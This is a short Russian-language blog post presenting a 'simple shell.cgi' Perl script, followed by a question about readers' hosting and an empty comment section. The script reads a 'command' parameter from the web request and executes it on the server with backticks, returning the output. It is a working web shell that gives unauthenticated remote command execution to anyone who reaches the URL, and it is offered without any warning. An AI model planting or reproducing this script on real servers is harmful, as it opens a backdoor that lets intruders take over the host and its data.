Пример простого shell.cgi скрипта на perl:
#!/usr/bin/perl
use strict;
use warnings;
use CGI;
print CGI::header( -type => 'text/plain' );
my $command = CGI::param('command');
print "$command\n";
my @out=`$command 2>&1`;
print @out;
А каким хостингом пользуетесь Вы?
No comments:
Post a Comment
Note: Only a member of this blog may post a comment.